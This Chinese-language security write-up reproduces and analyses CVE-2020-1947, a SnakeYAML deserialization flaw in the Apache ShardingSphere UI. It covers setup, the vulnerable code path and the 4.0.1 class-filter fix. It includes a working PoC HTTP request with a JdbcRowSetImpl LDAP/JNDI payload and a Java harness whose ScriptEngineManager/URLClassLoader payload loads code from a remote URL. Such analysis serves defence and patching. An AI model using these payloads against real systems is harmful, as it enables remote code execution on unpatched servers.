CVE-2020-1947 复现及分析
0x01 影响
Apache ShardingSphere <=4.0.0
0x02 环境搭建
https://github.com/apache/incubator-shardingsphere 的 ui 界面为前后分离, 所以搭建环境所需要的工具如下
需要 Node.JS 环境
maven 构建环境, idea 作为源码调试工具
任意版本 zookeeper
前端后端没有启动的先后顺序, 任意顺序即可.
首先将 拖入 idea,idea 会自动通过 pom 的依赖构建项目, 稍等片刻, 在 org.apache.shardingsphere.ui.Bootstrap 类运行 main 函数即可.
前端环境需要 Node.JS 构建, 步骤如下
进入
sharding-ui-frontend/
目录;
执行 NPM install;
执行 NPM run dev;
访问
- http://localhost:8080/
- .
现在就可以访问后台了, 用户名与密码皆为 admin. 为了触发漏洞, 需要在后台配置 zookeeper. 如图
0x03 POC
登录后台后, 发送如下 poc
- POST /API/schema HTTP/1.1
- Host: localhost:8089
- Accept: application/JSON, text/plain, */*
- Accept-Encoding: gzip, deflate
- Content-Type: application/JSON;charset=utf-8
Access-Token: 替换为自己的
- Content-Length: 579
- {
- "name":"CVE-2020-1947","ruleConfiguration":"encryptors:\n encryptor_aes:\n type: aes\n props:\n aes.key.value: 123456abc\n encryptor_md5:\n type: md5\n tables:\n t_encrypt:\n columns:\n user_id:\n plainColumn: user_plain\n cipherColumn: user_cipher\n encryptor: encryptor_aes\n order_id:\n cipherColumn: order_cipher\n encryptor: encryptor_md5","dataSourceConfiguration":"!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: ldap://127.0.0.1:1389/CommandObject\n autoCommit: true"
- }
0x04 分析
可以根据 poc, 可以很明显的发现是 shakeyaml 引起的反序列化问题. 首先找到处理 / API/scheme 的 controller. 在 org.apache.shardingsphere.ui.web.controller.ShardingSchemaController 处. addSchema 会处理 post 请求
- /**
- * Add schema configuration.
- *
- * @param shardingSchema sharding schema DTO.
- * @return response result
- */
- @RequestMapping(value = "", method = RequestMethod.POST)
- public ResponseResult addSchema(final @RequestBody ShardingSchemaDTO shardingSchema) {
- shardingSchemaService.addSchemaConfiguration(shardingSchema.getName(), shardingSchema.getRuleConfiguration(), shardingSchema.getDataSourceConfiguration());
- return ResponseResultUtil.success();
- }
跟入 shardingSchemaService.addSchemaConfiguration 函数.
- @Override
- public void addSchemaConfiguration(final String schemaName, final String ruleConfiguration, final String dataSourceConfiguration) {
- checkSchemaName(schemaName, getAllSchemaNames());
- checkRuleConfiguration(ruleConfiguration);
- checkDataSourceConfiguration(dataSourceConfiguration);
- //... 省略不相关代码
- }
在 addSchemaConfiguration 中的 checkDataSourceConfiguration 函数会处理 dataSourceConfiguration. 继续跟入
- private void checkDataSourceConfiguration(final String configData) {
- Map<String, DataSourceConfiguration> dataSourceConfigs = ConfigurationYamlConverter.loadDataSourceConfigurations(configData);
- //... 省略不相关代码
- }
在 checkDataSourceConfiguration 中会调用 ConfigurationYamlConvert.LoadDataSourceConfigurations 去解析 datasource.
- /**
- * Load data source configurations.
- *
- * @param data data
- * @return data source configurations
- */
- @SuppressWarnings("unchecked")
- public static Map<String, DataSourceConfiguration> loadDataSourceConfigurations(final String data) {
- Map<String, YamlDataSourceConfiguration> result = (Map) YamlEngine.unmarshal(data);
- //... 省略不相关代码
- }
在 loadDataSourceConfigurations 中会调用 YamlEngine.unmarshal 去处理数据, 下图为 unmarshal 函数的代码. 可以很明显的看出, unmarshal 函数存在反序列化漏洞. YAML 的 load 可以加载任意类, 造成反序列化漏洞
- /**
- * Unmarshal YAML.
- *
- * @param yamlContent YAML content
- * @return map from YAML
- */
- public static Map<?, ?> unmarshal(final String yamlContent) {
- return Strings.isNullOrEmpty(yamlContent) ? new LinkedHashMap<>() : (Map) new YAML().load(yamlContent);
- }
不难看出, 搭建复现环境时, 不一定需要他的 Web 环境去触发漏洞, 我们可以直接调用相关函数去模拟加载 loadDataSourceConfigurations 函数. 代码如下
- package org.apache.shardingsphere.ui;
- import org.apache.shardingsphere.core.config.DataSourceConfiguration;
- import org.apache.shardingsphere.ui.util.ConfigurationYamlConverter;
- import java.util.Map;
- public class test {
- public static void main(String... args){
- String configData = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:9999\"]]]]";
- Map<String, DataSourceConfiguration> dataSourceConfigs = ConfigurationYamlConverter.loadDataSourceConfigurations(configData);
- }
- }
构造 exp 可以使用 unmarshal 工具, 请自行搜索
0x05 修复分析
在 4.0.1 中新增了 classfilter 的构造方法, 只允许反序列化 YamlDataSourceConfiguration 类.
LoadDataSouceConfigurations 函数设置只允许反序列化相关类,
ClassFilterConstructor 代码如下
- public final class ClassFilterConstructor extends Constructor {
- private final Collection<Class<?>> acceptClasses;
- @Override
- protected Class<?> getClassForName(final String name) throws ClassNotFoundException {
- for (Class<? extends Object> each : acceptClasses) {
- if (name.equals(each.getName())) {
- return super.getClassForName(name);
- }
- }
- throw new IllegalArgumentException(String.format("Class is not accepted: %s", name));
- }
- }
LoadDatasourceConfigurations 函数中设置 classfilter
Map<String, YamlDataSourceConfiguration> result = (Map) YamlEngine.unmarshal(data, Collections.<Class<?>>singletonList(YamlDataSourceConfiguration.class));
0x06 参考
- https://bitbucket.org/asomov/snakeyaml/wiki/Documentation#markdown-header-type-safe-collections
- https://www.javadoc.io/doc/org.yaml/snakeyaml/1.19/org/yaml/snakeyaml/constructor/Constructor.html
- https://shardingsphere.apache.org/document/current/cn/manual/sharding-ui/
来源: https://www.cnblogs.com/potatsoSec/p/12461330.html